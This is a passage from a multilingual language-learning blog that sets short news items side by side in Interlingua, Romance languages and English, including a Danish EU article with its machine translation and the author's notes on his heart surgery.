interlingua in multe partes del rete, ma io crede que iste articulo in Wikipedia explica su grammatica de un maniera clar e detaliate, que es anque admirabilemente breve.\n---\nUna gramática breve y admirable de Interlingua escrito en Inglés se puede encontrar en Wikipedia en[http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nExisten diversas fuentes de información sobre la gramática de interlingua en muchas partes de la red, pero creo que este artículo en Wikipedia explica su gramática de una manera clara y detallada, que también es admirablemente breve.\n---\nUna gramàtica breu i admirable de Interlingua escrit en anglès es pot trobar a la Wikipedidia en [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nHi ha diverses fonts d'informació sobre la gramàtica d'interlingua en moltes parts d'Internet, però crec que aquest article a la Wikipedia explica la seva gramàtica d'una manera clara i detallada, que també és admirablement breu.\n---\nUnha breve gramática da interlingua marabilla escrita en inglés pode ser atopada en [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nExisten varias fontes de información sobre a gramática da interlingua en moitas partes de internet, pero creo que este artigo na Wikipedia explica a gramática de forma clara e detallada, que tamén é unha marabilla breve.\n---\nUma gramática de Interlíngua breve e admirável escrito em Inglês pode ser encontrada em Wikipedia a [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nExistem várias fontes de informações sobre a gramática de Interlíngua em muitas partes da Rede, mas acho que este artigo na Wikipedia explica sua gramática de forma clara e detalhada, que também é admirávelmente breve.\n---\nIl y ha une grammaire d'interlingua brève et admirable écrite en anglais qui peut être trouvée à Wikipédia au [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nIl existe différentes sources d'information sur la grammaire d'interlingua dans de nombreux endroits sur Internet, mais je crois que cet article de Wikipédia explique sa grammaire d'une manière claire et détaillée qui est aussi admirablement brève.\n---\nC'è una grammatica breve e mirabile di Interlingua scritta in inglese che può essere trovato in Wikipedia a [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nCi sono diverse fonti di informazioni sulla grammatica del Interlingua in molte parti della Rete, ma credo che questo articolo di Wikipedia, spiega la sua grammatica in modo chiaro e dettagliato che è anche mirabilmente breve.\n---\nThere is a brief and admirable grammar of Interlingua written in English that can be found in Wikipedia at [http:\/\/en.wikipedia.org\/wiki\/Interlingua_grammar].\nThere are various sources of information about the grammar of Interlingua in many parts of the Net, but I believe that this article in Wikipedia explains its grammar of Interlingua in a clear and detailed way that is also admirably brief.\nPosted by hkyson at 10:21 PM\n(Languages of this post: Interlingua, Spanish, Portuguese, French, Italian, and English, with text examples of a Danish newspaper article and its electronic translation into English)\nLe sito http:\/\/www.europa.eu offere articulos de novas in multes ex le linguas de Europa. Io ha comenciate a copiar los electronicamente, traducer los al anglese con le traductor de Google, e usar Microsoft Word pro presentar le textos in un formato bicolumnar. Vos anque pote facer isto in vostre proprie studios.\nLe traductiones in anglese non es perfecte, ma illos es un adjuta excellente pro comprender le textos original si vos non ha habite multe experientia con le linguas in le quales illos es redigite.\nComo exemplo, io va a presentar infra un texto in danese e su traduction in anglese. (Io non sape como presentar iste duo textos in un formato bicolumnar in iste blog; ma si vos comprende le danese e le anglese, al minus un pauco, vos immediatemente videra le utilitate immense de usar le textos de europa.eu pro facilemente construer exercitios de lectura!)\n---\nEl sito http:\/\/www.europa.eu ofrece noticias en muchas de las lenguas de Europa. He empezado a copiarlos electrónicamente, traducirlos al Inglés con el traductor de Google, y usar Microsoft Word para presentar estos textos en un formato bicolumnar. Usted también puede hacer esto en sus propios estudios.\nLas traducciones en Inglés no son perfectas, pero ofrecen una excelente ayuda para la comprensión de los textos originales, si usted no ha tenido mucha experiencia en los idiomas en los cuales se publican.\nComo ejemplo, voy a presentar a continuación un texto en lengua danesa y su traducción en Inglés. (No sé cómo presentar estos dos textos en un formato bicolumnar en este blog, pero si usted conoce el danés y el inglés, por lo menos un poco, va a ver inmediatamente la inmensa utilidad de utilizar los textos de europa.eu para construir fácilmente ejercicios de lectura.)\n---\nO site http:\/\/www.europa.eu oferece notícias em vários idiomas da Europa. Comecei a cópiá-las eletronicamente, traduzi-las em Inglês com o tradutor do Google e usar o Microsoft Word para apresentar estes textos em um formato bicolumnar. Você pode fazer isso em seus próprios estudos.\nAs traduções Inglês não são perfeitas, mas oferecem uma excelente ajuda para a compreensão dos textos originais, se você ainda não tiver muita experiência nas línguas em que são publicadas.\nComo exemplo, vou apresentar abaixo um texto dinamarquês e sua tradução para Inglês. (Não sei como apresentar a estes dois textos em um formato bicolumnar neste blog, mas se você sabe o dinamarquês e Inglês, pelo menos um pouco, vai ver imediatamente a grande utilidade do uso destes textos facilmente construir exercícios de leitura.)\n---\nLe site http:\/\/www.europa.eu offer articles de nouvelles dans de nombreuses langues d'Europe. J'ai commencé à les copier par voie électronique, les traduire en anglais avec le traducteur de Google, et utiliser Microsoft Word pour présenter les textes dans un format bicolumnar. Vous pouvez faire la même chose dans vos propres études.\nLes traductions en anglais ne sont pas parfaites, mais elles sont une aide précieuse pour la compréhension des textes originaux, si vous n'avez pas eu beaucoup d'expérience dans les langues dans lesquelles elles sont publiées.\nComme un exemple, je vais présenter ci-dessous un texte en langue danoise et sa traduction en anglais. (Je ne sais pas comment présenter ces deux textes dans un format bicolumnar dans ce blog, mais si vous connaissez le danois et l'anglais, au moins un peu, vous verrez immédiatement l'utilité immense de ces texts pour construire facilement des exercices de lecture.)\n---\nIl sito http:\/\/www.europa.eu offre articoli di notizie in molte lingue europee. Ho cominciato a copiare elettronicamente questi articoli, farne traduzioni in inglese con il traduttore di Google, e utilizzare Microsoft Word per presentare loro testi in un formato bicolumnar. Lei può fare la stessa cosa per studiare queste lingue.\nLe traduzioni in inglese non sono perfette, ma anche se Lei ha solo una scarsa conoscenza di questa lingua, Lei scoprirà che questi esercizi saranno molto utili per ampliare la sua conoscenza di queste lingue.\nPer fare un esempio, presenterò sotto un testo in danese e la sua traduzione in inglese. (Non so come presentare questi testi in un formato bicolumnar in questo blog, ma se Lei conosce il danese e inglese, anche se non le cognosce molto bene, Lei potrà vedere immediatamente l'immenso valore di questi testi per creare facilmente esercizi di lettura.)\n---\nThe site http:\/\/www.europa.eu offers news articles in many of the languages of Europe. I have started to copy them electronically, translate them into English with Google's translator, and use Microsoft Word to present the texts in a bicolumnar format. You can also do this in your own studies.\nThe translations in English are not perfect, but they are an excellent help for understanding the original texts if you have not had a lot of experience in the languages in which they are published.\nAs an example, I am going to present below a text in Danish and its translation in English. (I don't know how to present these two texts in a bicolumnar format on this blog; but if you know Danish and English, at least a little, you will immediately see the immense usefulness of using the texts of europa.eu to easily construct reading exercises.)\n.…………….\nKonkurrencer om kunstprojekter, der slår et slag for børns rettigheder, iværksætteri og EU – med priser og offentlig opmærksomhed til vinderne\nHvordan mon det føles at få vist et værk i hele EU? Det vil vinderen af EU-Kommissionens plakatkonkurrence i anledning af Europadagen snart finde ud af.\n1 700 bidrag under temaet \"Jeg ♥ Europa\" er strømmet ind fra alle kanter af EU i håb om at score førsteprisen – 2 000 euro (næsten 15 000 kroner) og lidt gratis reklame. Et ekspertpanel har allerede skåret antallet ned til 10 finalister. Nu er det din tur til at vælge din yndlingsplakat og afgive din stemme på nettet.\nHvis du ikke fik indsendt et bidrag eller bedre kan lide at arbejde i et team, er konkurrencen Vil du tegne en rettighed til mig? måske noget for dig. Den markerer 20-årsdagen for FN's konvention om barnets rettigheder , som beskytter børns velfærd over hele verden. For at deltage skal du sammen med tre venner designe en plakat, der handler om en af rettighederne i konventionen. Vinderne inviteres på en tur til Bruxelles, hvor den bl.a. vil stå på sightseeing, og får overrakt en pris.\nFotokonkurrencen Hvad betyder euroen for os? giver dig også mulighed for at lave et projekt sammen med dine venner. I skal tage et billede, der illustrerer, hvad euroen betyder for jer, og skrive en kort forklarende tekst.\nKonkurrencen Mit billede af Europa henvender sig til audiovisuelle kunstnere – i alle aldersgrupper og på alle niveauer. Brug Kommissionens digitale bibliotek til at lave en opfindsom videofilm, der appellerer til alle uanset alder og baggrund. Det er en stor opgave, men der er 10 000 euro (ca. 75 000) på højkant!\nOg hvis du har en iværksætter i maven, hvorfor så ikke deltage i den europæiske iværksættervideokonkurrence? Brug din opfindsomhed og lav en videofilm, der fortæller om og giver lyst til at oprette en virksomhed.\nSå frem med kreativiteten og vær med – held og lykke!\n---\nCompetitions on art projects that strikes a blow for children's rights, entrepreneurship and the European Union - with prizes and publicity for the winners\nWonder how it feels to see a work throughout the EU? It will the winner of the European Commission Poster Competition on the occasion of Europe Day will soon find out.\n1 700 contributions under the theme \"I ♥ Europe\" have poured in from all corners of the EU, hoping to scoop the first prize - 2 000 euros (nearly 15 000 dollars) and a little free publicity. A jury has already cut the number down to 10 finalists. Now it's your turn to choose your favorite poster and place your vote online.\nIf you did not get posted a contribution or more like working in a team that is competitive Would you sign a right for me? maybe something for you. It marks the 20th anniversary of the UN Convention on the Rights of the Child, which protects the welfare of children throughout the world. To participate, you along with three friends design a poster about one of the rights of the Convention. Winners will be invited on a trip to Brussels, where the particular will be sightseeing, and have handed over a price.\nPhoto Competition What does the euro for us? also allows you to do a project together with your friends. I must take a picture that illustrates what the euro means for you, and write a short explanatory text.\nCompetition My vision of Europe is aimed at audio-visual artists - of all ages and all levels. Use the Commission's digital library to create an inventive video that appeals to all ages and backgrounds. It is a big task, but there are 10 000 euros (approx. 75 000) up for grabs!\nAnd if you are an entrepreneur in the stomach, why not join the European launch video contest? Use your imagination and make a video that tells about and makes you want to create a business.\nLooked forward with creativity and join us - good luck!\nPosted by hkyson at 2:40 AM","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/interlinguamultilingue.blogspot.com\/2010\/03\/","date":"2018-02-23T13:56:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814787.54\/warc\/CC-MAIN-20180223134825-20180223154825-00630.warc.gz","language":"ina","language_score":0.50683707,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"ina_Latn_score\": 0.5068370699882507, \"eng_Latn_score\": 0.13881665468215942, \"por_Latn_score\": 0.11003480851650238, \"cbk_Latn_score\": 0.02793668583035469, \"spa_Latn_score\": 0.017479004338383675, \"ita_Latn_score\": 0.013868650421500206, \"srd_Latn_score\": 0.011186376214027405, \"ile_Latn_score\": 0.010930214077234268}","num_words":22762,"character_repetition_ratio":0.035,"word_repetition_ratio":0.011,"special_characters_ratio":0.196,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":2459.1,"cluster_detection":-1} +{"text":"Thursday, July 23, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, Italian, English)\nLe prime ministro russe, Vladimir Putin, provocava multe surprisa in su pais quando ille criticava e dava consilios a un del artistas le plus famose de Russia. Al visitar le artista, Illya Glazunov, de septanta e nove annos de etate, Putin pausava ante un pictura grande de un cavallero medieval.\n\"Le gladio es troppo curte\", diceva Putin. \"Illo solmente serve pro secar salcicias'. Pro non offender le poterose prime ministro, Glazunov immediatemente diceva que ille corrigerea le error pretense.\nMa non solmente es le artistas qui se trova subjecte al consilios de Putin. Recentemente, Putin humiliava un del homines le plus ric de Russia in un programma de television. Putin obligava le interprenditor millionari Oleg Deripaska a reaperir un planta de aluminio post le protestas del travaliatores dimittite.\nCameras de television le registrava quando ille jectava su penna sur le tabula e mandava Deripaska a signar le documentos. Iste scena dramatic esseva multo popular inter multe russos, qui odia le oligarchas russe ric y esseva felice al reciper le nova del reapertura de su fabrica de aluminio.\n---\nEl primer Ministro ruso, Vladimir Putin, causó mucha sorpresa en su país al criticar y dar consejos a uno de los artistas más famosos de Rusia. Cuando visitó al artista Ilya Glazunov, de setenta y nueve años, Putin se detuvo delante de un gran retrato de un caballero medieval.\n\"La espada es demasiado corto\", dijo Putin. \"Sólo sirve para cortar chorizo\". Para no ofender al poderoso primer ministro, Glazunov dijo de imediato que corregiría el error alegado.\nPero no sólo son los artistas que están sujetos a los consejos de Putin. Recientemente, Putin humilló a uno de los hombres más ricos de Rusia en un programa de televisión. Putin obligó al empresario millonario Oleg Deripaska a reabrir una planta de aluminio después de las protestas de los trabajadores despedidos.\nCámaras de televisión registraron a Putin cuando lanzó su pluma sobre la mesa y ordenó a Deripaska a firmar los documentos. Esta dramática escena fue muy popular entre muchos rusos, que odian a los oligarcas rusos ricos y eran felices al recibir la noticia de la reapertura de su fábrica de aluminio.\n---\nO primeiro-ministro russo, Vladimir Putin, causou muita surpresa em seu país ao criticar um quadro e dar conselhos a um dos artistas mais famosos da Rússia. Ao visitar o artista Ilya Glazunov, de 79 anos, Putin parou na frente de uma tela grande que retratava um cavaleiro medieval.\n\"A espada é curta demais\", disse Putin. \"Só serve para cortar salsicha.\" Como não queria desagradar o poderoso primeiro-ministro, Glazunov concordou imediatamente em corrigir o suposto erro.\nMas não são apenas os artistas que estão sujeitos ao aconselhamento de Putin. Recentemente, ele humilhou um dos homens mais ricos da Rússia em um programa na televisão. Putin forçou o empresário bilionário Oleg Deripaska a reabrir uma fábrica que produzia alumínio depois de protestos de operários demitidos.\nCâmeras de televisão registraram quando Putin atirou a sua caneta na mesa e ordenou Deripaska a assinar documentos. Esta dramática cena era muito popular entre muitos russos, que odeiam os ricos oligarcas russos e ficaram felizes quando receberam a notícia da reabertura de sua fábrica de alumínio.\n---\nIl Primo Ministro russo, Vladimir Putin, ha provocato una grande sorpresa nel suo paese criticando un dipinto e fornendo consulenza a uno dei più famosi artisti russi. Durante una visita all'artista, il settantanovenne Ilya Glazunov, Putin si fermò davanti ad una grande tela rappresentante un cavaliere medievale.\n\"La spada è troppo breve\", disse Putin. \"È buona soltanto per tagliare le salsicce\". Dal momento che non voleva offendere il potente primo ministro, Glazunov immediatamente decise di correggere il presunto errore.\nMa non sono solo gli artisti che sono soggetti ai consigli di Putin. Recentemente, egli umiliò uno dei più ricchi uomini russi durante un programma televisivo. Dopo le proteste da parte di lavoratori licenziati, Putin costrinse il miliardario uomo d'affari Oleg Deripaska a riaprire uno stabilimento producente alluminio.\nLe telecamere registrarono Putin gettante la sua penna sul tavolo e ordinante a Deripaska di firmare i documenti. Questa drammatica scena è popolarissima tra i molti russi che odiano i loro ricchi oligarchi e che furono felici di ricevere la notizia della riapertura dell'allumineria.\n---\nThe Russian Prime Minister, Vladimir Putin, provoked a lot of surprise in his country after criticizing a painting and giving advice to one of the most famous artists of Russia. On visiting the artist, the seventy-nine-year-old Ilya Glazunov, Putin stopped in front of a large canvas that pictured a medieval knight.\n\"The sword is too short,\" Putin said. \"It's only good for cutting sausage.\" Since he didn't want to offend the powerful prime minister, Glazunov immediately agreed to correct the alleged error.\nBut not only are artists subject to Putin's advice. Recently, he humiliated one of the richest men in Russia on a television program. Putin forced the billionaire businessman Oleg Deripaska to reopen an aluminum plant after protests by laid-off workers.\nTelevision cameras recorded Putin when he threw his pen on the table and ordered Deripaska to sign documents. This dramatic scene was very popular among a lot of Russians, who hate the rich Russian oligarchs and were happy to receive the news of the reopening of his aluminum plant.\nPosted by hkyson at 11:48 AM\nTuesday, July 21, 2009\n(Languages of this post: Interlingua, English)\nMi operation esseva un successo, e io ha volvite a mi appartmamento. Naturalmente, io es es assatis debile in iste momento, ma io va a comenciar a publicar nove articulos in \"Interlingua multilingue\" multo tosto post iste annuncio.\nDurante que io deveni de plus in plus forte, io non sape exactemente qual essera mi frequentia de publication, ma eventualmente io spera poter publicar un media de un nove articulo cata die.\nVos pote communicar con me directemente a email@example.com.\nHarleigh Kyson Jr.\n---\nMy heart operation was a success, and I have returned to my apartment. I am rather weak at this moment, but I am going to publish new articles in \"Interlingua multilingue\" very soon after this announcement.\nAs I become stronger, I don't know exactly what my frequency of publication will be, but eventually I hope to be able to publish an average of one new article a day.\nYou can communicate with me directly at firstname.lastname@example.org\nHarleigh Kyson Jr.\nPosted by hkyson at 8:49 PM\nWednesday, July 8, 2009\n(Languages of this post: Interlingua, English)\nLe die 9 julio 2009, io va al centro cardiac del Long Beach Memorial Hospital pro un secunde operation cardiac. Il es ben possibile que io non supervivera iste intervention chirurgic. E si io lo supervive, io non potera contribuer altere articulos a \"Interlingua multilingue\" pro un periodo de plus o minus un mense.\nSi vos vole informationes ulterior sur mi condition medic, vos pote inquirer a iste adresses de e-mail: email@example.com o firstname.lastname@example.org.\nPro studentes de interlingua e su linguas fonte, il ha plus que 600 articulos, alicunes breve, alicunes plus longe, in \"Interlingua multilingue\", le quales es disponibile a duo adresses, http:\/\/www.interlinguamultilingue.blogspot.com e http:\/\/www.hkyson.wordpress.com.\nVos omnes es benvenite a copiar e adaptar omne iste articulos pro vostre besonios personal e a publicar los in altere sitos in le Rete. Io spera que io ha complite mi objectivo de provider a studentes de interlingua e de su linguas fonte un ressource utile pro lor studios.\nIo anque vos invita a explorar le textos e le curso de \"Interlingua in interlingua\", que es disponibile a http:\/\/www.geocities.com\/hkyson.\n---\nI am going to the hospital for a second heart operation.\nOn July 9, 2009, I am going to the cardiac center of the Long Beach Memorial Hospital for a second heart operation. It is quite possible that I will not survive this operation. And if I do survive it, I will not be able to contribute other articles to \"Interlingua multilingue\" for a period of more or less a month.\nIf you want further information about my medical condition, you can inquire at these e-mail addresses: email@example.com or firstname.lastname@example.org.\nFor students of Interlingua and its source languages, there are more than 600 articles, some brief, others a bit longer, in \"Interlingua multilingue,\" all of which are available at two addresses, http:\/\/www.interlinguamultilingue.blogspot.com and http:\/\/www.hkyson.wordpress.com.\nYou are all invited to copy and adapt these articles for your personal needs and to publish them in other sites on the Net. I hope that I have accomplished my objective of providing students of Interlingua and its source languages with a useful resource for their studies.\nI also invite you to explore the texts and the course at \"Interlingua in interlingua,\" which is available at http:\/\/www.geocities.com\/hkyson.\nPosted by hkyson at 5:09 AM\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio publicate per le Universitate de East Anglia in Grande Britannia suggere que le adoption de un stilo de vita pauco san pote plus que duplicar le risco de un accidente vascular cerebral. Habitos como fumar, consumer bibitas alcoholic, facer pauc exercitios, e mangiar pauc fructos e vegetales pote contribuer al occurrentia de un tal accidente, secundo le specialistas.\nIlles analysava questionarios recipite de circa 20.000 personas, homines e feminas de 40 a 79 annos de etate pro un periodo que durava 11 annos. Un total de 599 habeva accidentes cerebral durante iste periodo. Le recercatores dava punctos pro cata instantia de \"comportamento san\" pro cata participante e notava le totales de illes qui habeva un tal accidente. Iste personas esseva characteristate per habitos de sanitate plus negligente.\nInter le characteristicas positive esseva habitos de non fumar, biber inter le limites recommendate per le autoritates del Regno Unite, consumer cinque portiones de frutas e vegetales diariemente, e esser physicamente active.\nLe autores del studio admitteva que illo ha alicun limitationes, ma illes suggere que le resultatos pote dar alicun appoio al idea de que parve differentias in le stilo de vita pote haber un impacto substantial in le risco de suffrer accidentes vascular cerebral.\nStudios anterior jam habeva associate un stilo de vita pauco san al disveloppamento de maladias cardiac. Le relation inter stilo de vita e accidentes vascular cerebral tamen no ha essite ampliemente explorate per le scientistas.\nLe resultatos del studio esseva publicate in le \"British Medical Journal\".\n---\nEstilos de vida pouco saudáveis dobra risco de derrame.\nUm estudo publicado pela Universidade de East Anglia, na Grã-Bretanha, sugere que a adoção de um estilo de vida pouco saudável pode mais do que dobrar o risco de derrame. Hábitos como fumar, consumir bebidas alcoólicas, fazer poucos exercícios e comer poucas frutas e verduras podem contribuir para a ocorrência de um derrame, de acordo com os especialistas.\nEles analisaram questionários que receberam de cerca de 20.000 pessoas, entre homens e mulheres de 40 a 79 anos, ao longo de 11 anos. Um total de 599 teve derrame nesse período. Os pesquisadores deram pontos para cada instância de \"comportamento saudável\" de cada participante e verificaram a pontuação daqueles que sofreram um derrame. Estas pessoas foram caracterizadas por hábitos de saúde mais negligentes.\nEntre as características positivas eram hábitos de não fumar, de beber dentro dos limites recomendados pelas autoridades sanitárias britânicas, de consumir cinco porções de frutas e legumes por dia e de ser fisicamente ativo.\nOs autores do estudo admitiram que ele tem algumas limitações, mas sugerem que os resultados podem dar alguma sustentação à ideia de que pequenas diferenças no estilo de vida podem ter um impacto substancial no risco de derrame.\nPesquisas anteriores já haviam associado um estilo de vida pouco saudável ao desenvolvimento de doenças cardíacas. A relação entre estilo de vida e derrame, no entanto, ainda não tem sido amplamente explorada pelos cientistas.\nOs resultados do estudo foram publicados no \"British Medical Journal\".\n---\nLo stile di vita insalubre raddoppia il rischio di ictus.\nUno studio pubblicato dalla University of East Anglia in Gran Bretagna, suggerisce che l'adozione di uno stile di vita insalubre possa più che raddoppiare il rischio di ictus. Abitudini come il fumo, il consumo di alcol, fare poca attività fisica e mangiare poca frutta e verdura possono contribuire al verificarsi di un ictus, secondo gli esperti.\nEssi hanno analizzato i questionari ricevuti da circa 20.000 persone, uomini e donne tra i quaranta e i settantanove anni d'età, per un periodo della durata di undici anni. Un totale di 599 di essi soffrirono di ictus durante questo periodo. I ricercatori punteggiarono ogni istanza di \"comportamento sano\" di ogni partecipante e calcolarono i risultati di coloro che subirono un ictus. Queste persone erano caratterizzate da abitudini di salute più negligenti.\nTra le caratteristiche positive c'erano l'abito di non fumare, di bere entro i limiti raccomandati dalle autorità sanitarie britanniche, di consumare cinque porzioni di frutta e verdura al giorno e di essere fisicamente attivi.\nGli autori dello studio, hanno ammesso che vi sono alcune limitazioni, ma suggeriscono che i risultati possano fornire un sostegno per l'idea che piccole differenze di stile di vita possono avere un impatto sostanziale sul rischio di ictus.\nStudi precedenti avevano collegato un stile di vita malsano allo sviluppo di malattie cardiache. Il rapporto tra lo stile di vita e l'ictus, tuttavia, non è stato ampiamente esplorato dagli scienziati.\nI risultati dello studio sono stati pubblicati nel \"British Medical Journal\".\n---\nUnhealthy Lifestyles double the risk of stroke.\nA study published by the University of East Anglia in Britain suggests that the adoption of an unhealthy lifestyle can more than double the risk of stroke. Habits such as smoking, alcohol consumption, doing little exercise and eating few fruits and vegetables may contribute to the occurrence of a stroke, according to the experts.\nThey analyzed questionnaires received from about 20,000 people, men and women from forty to seventy-nine years old for a period lasting eleven years. A total of 599 had strokes during this period. The researchers gave points for each instance of \"healthy behavior\" of each participant and noted the scores of those who suffered a stroke. These people were characterized by more negligent health habits.\nAmong the positive characteristics were habits of not smoking, drinking within the limits recommended by UK health authorities, consuming five servings of fruits and vegetables per day, and being physically active.\nThe authors of the study admitted that it has some limitations, but they suggest that the results may provide some support to the idea that small differences in lifestyle can have a substantial impact on the risk of stroke.\nPrevious studies had linked unhealthy lifestyles to the development of heart disease. The relationship between lifestyle and stroke, however, has not been widely explored by scientists.\nThe results of the study were published in the \"British Medical Journal.\"\nPosted by hkyson at 4:49 AM\nTuesday, July 7, 2009\n(Languages of this post: Interlingua, Spanish, Portuguese, Italian, English)\nLe presidente del Statos Unite, Barack Obama, annunciava un plano pro augmentar le generation de energia alternative que previde le uso de areas litoral pro generar electricitate del vento, de undas, e de currentes oceanic. Iste mensura, diceva le presidente, va a adjuvar a reducer le emissiones de carbon, combatter le calefaction global, e crear empleos. Ille anque diceva que le energia eolic pote generar usque 20% del demanda de electricitate in 2030.\nStatos costal, como New Jersey e Delaware, jam ha projectos de energia renovabile.\n\"Le alternativas que nos ha non es inter salvar nostre ambiente e salvar nostre economia; illos es le possibilitate de seliger inter le prosperitate e le decadentia\", diceva Obama in un discurso in Iowa, addente que su plano pro le disveloppamento de fontes alternative de energia non damnificara le eonomia del Statos Unite e poterea crear usque 250 mille empleos.\n---\nEl Presidente norteamericano, Barack Obama, anunció un plan para aumentar la generación de energía alternativa que prevé el uso de las zonas costeras para generar electricidad a partir del viento, las olas y las corrientes oceánicas. Esta medida, dijo el presidente, ayudará a reducir las emisiones de carbón para combatir el calentamiento global y crear puestos de trabajo. También dijo que la energía eólica podría generar hasta el 20% de la demanda de electricidad en los Estados Unidos en 2030.\nEstados costeros como Nueva Jersey y Delaware, tienen proyectos de energía renovable.\n\"Las alternativas que tenemos no son la de salvar nuestro medio ambiente y salvar nuestra economía; son la posibilidad de elegir entre la prosperidad y la decadencia\", dijo Obama en un discurso en Iowa, agregando que su plan para el desarrollo de fuentes alternativas de energía no dañará la economía de los Estados Unidos y podría crear hasta 250 mil puestos de trabajo.\n---\nO presidente dos Estados Unidos, Barack Obama, anunciou um plano para aumentar a geração de energia alternativa que prevê o uso de áreas de litoral para gerar eletricidade a partir do vento, de ondas e de correntes oceânicas. Esta medida, disse o presidente, vai ajudar a reduzir as emissões de carvão, combater o aquecimento global e criar empregos. Também disse que a energia eólica pode gerar até 20% da demanda de eletricidade dos Estados Unidos até 2030.\nEstados costeiros, como Nova Jersey e Delaware, já têm projetos de energia renovável.\n\"As alternativas que temos não é entre salvar o nosso meio ambiente e salvar a nossa economia; são uma escolha entre prosperidade e declínio\", Obama disse em um discurso em Iowa, acrescentando que o seu plano de desenvolvimento de energias alternativas não vai prejudicar a economia americana e poderia criar até 250 mil empregos.\n---\nIl Presidente degli Stati Uniti, Barack Obama, ha annunciato un piano per aumentare la produzione di energia alternativa che prevede l'utilizzo delle zone costiere per generare energia elettrica dal vento, dalle onde e dalle correnti oceaniche. Tale misura, ha detto il Presidente, contribuirà a ridurre le emissioni di carbone per combattere il riscaldamento globale e creare posti di lavoro. Egli ha aggiunto che l'energia eolica potrebbe generare fino al 20% della domanda di elettricità negli Stati Uniti entro il 2030.\nStati costieri come New Jersey e Delaware, hanno già progetti di energia rinnovabile.\n\"Le alternative che abbiamo non sono il rispetto del nostro ambiente o la salute della nostra economia, sono invece una scelta tra la prosperità e il declino\", ha detto Obama in un discorso in Iowa, aggiungendo che il suo piano per lo sviluppo di energie alternative non danneggia l'economia degli Stati Uniti e potrebbe creare fino a 250.000 posti di lavoro.\n---\nThe U.S. President, Barack Obama, announced a plan to increase the generation of alternative energy that provides for the use of coastal areas to generate electricity from wind, waves, and ocean currents. This measure, the president said, will help reduce carbon emissions to combat global warming and create jobs. He also said that wind energy could generate up to 20% of the demand for electricity in the United States by 2030.\nCoastal states like New Jersey and Delaware already have renewable energy projects.\n\"The alternatives we have are not between saving our environment and saving our economy; they are a choice between prosperity and decline,\" Obama said in a speech in Iowa, adding that his plan for developing alternative energy will not damage the U.S. economy and could create up to 250,000 jobs.\nPosted by hkyson at 11:31 AM\nMonday, July 6, 2009\n(Languages of this post: Interlingua, Spanish, Italian, English)\nIn Ecuador, le indigenes ha essite responsabile in le ultime decada pro le demission de duo presidentes, e in Bolivia il nunc ha un presidente indigene. Istos es solmente duo exemplos de un presentia plus grande del indigenas in le scena politic del America latin in le ultime dece annos.\nLe exemplo le plus recente de como iste sector pote contrariar un governamento es le conflicto in Perú, que surgeva in le rejection de un serie de decretos promulgate per le presidente peruvian que regula le administration del ressources forestal e hydric in favor de companias estranie que vole exploitar e contaminar le territorios ancestral del indigenas de ille pais.\nCarlos Toranzo, un analysista politic bolivian, dice que le caso peruvian es un exemplo de como le populos indigene in plure paises va a ager de un forma plus insistente in reclamar lor derectos.\nVictor Hugo Cárdenas, le ex vicepresidente de Bolivia, dice que ben que iste procsesso se vide in omne le America latin, il es impossible parlar de un sol movimento indigene. \"Le movimento indigene ha diverse facies\", dice ille. \"Il non ha un sol objectivo, ni un sol programma. Il es plus correcte parlar de plure movimentos indigene\".\nIn relation al conflicto in Perú, le presidente del Commission Special de Affaires Indigene in le Camera de Diputatos de Bolivia, Leandro Chacalluca, declarava que \"nos es le mesme familia. Le populos indigene original non ha frontieras physic. Le frontieras inter Bolivia e Perú es simplemente un elemento artificial in le historia del colonialismo europee\".\n---\nEn Ecuador, los indígenas han sido responsables en la última década de la renuncia de dos presidentes, y en Bolivia ahora hay un presidente indígena. Estos son solamente dos ejemplos de una mayor presencia de los indígenas en el escenario político de América Latina en los últimos diez años.\nEl ejemplo más reciente de cómo este sector puede poner en jaque a un gobierno es un conflicto en Perú, que surgió en rechazo a una serie de decretos promulgados por el presidente peruano que regulan el manejo de los recursos forestales e hídricos en favor de compañías extranjeras que quieren explotar y contaminar los territorios ancestrales de los indígenas de ese país.\nCarlos Toranzo, analista político boliviano, dice que el caso peruano es un ejemplo de cómo los pueblos indígenas en varios países van a actuar de forma más insistente en reclamar sus derechos.\nVictor Hugo Cárdenas, el ex vicepresidente de Bolivia, dice que aunque este proceso se ve en toda América Latina, es imposible hablar de un movimiento indígena único. \"El movimiento indígena tiene varios rostros\", dice. \"No tiene un sólo objetivo, ni un solo programa. Es más correcto hablar de varios movimientos indígenas\".\nEn relación al conflicto en Perú, el presidente de la Comisión Especial de Asuntos Indígenas de la Cámara de Diputados de Bolivia, Leandro Chacalluca, declaró que \"somos una misma familia. Los pueblos indígenas originarios no tenemos fronteras físicas. Las fronteras entre Bolivia y Perú son simplemente un elemento artificial en la historia del colonialismo europeo\".\n---\nIn Ecuador, le popolazioni indigene sono stati responsabili nel corso degli ultimi dieci anni per le dimissioni di due presidenti. In Bolivia, c'è ora un presidente indiano. Questi sono solo due esempi della maggiore presenza dei popoli indigeni sulla scena politica latino-americana negli ultimi dieci anni.\nL'ultimo esempio di come questo settore possa opporsi a un governo è un conflitto in Perù, che ha provocato il rigetto di una serie di decreti presidenziali disciplinanti la gestione delle foreste e delle risorse idriche da parte di società straniere che vogliono sfruttare e inquinare le terre ancestrali delle popolazioni indigene di quel paese.\nCarlos Toranzo, un analista politico boliviano, dice che il caso peruviano è un esempio di come le popolazioni indigene, in diversi paesi, stanno agendo con più insistenza nella rivendicazione dei loro diritti.\nVictor Hugo Cardenas, ex Vice President della Bolivia, ha affermato che, sebbene questo processo possa essere visto in tutta l'America latina, è impossibile parlare di un unico movimento indigeno. \"Il movimento indigeno ha molte face\", egli spiega. \"Non c'è un solo obiettivo, non solo un singolo programma. E' più corretto parlare di diversi movimenti indigeni\".\nIn relazione al conflitto in Perù, il presidente della speciale commissione per gli affari indiani della Camera dei Deputati della Bolivia, Leandro Chacalluca, ha dichiarato: \"Siamo una famiglia. L'originali popolazioni 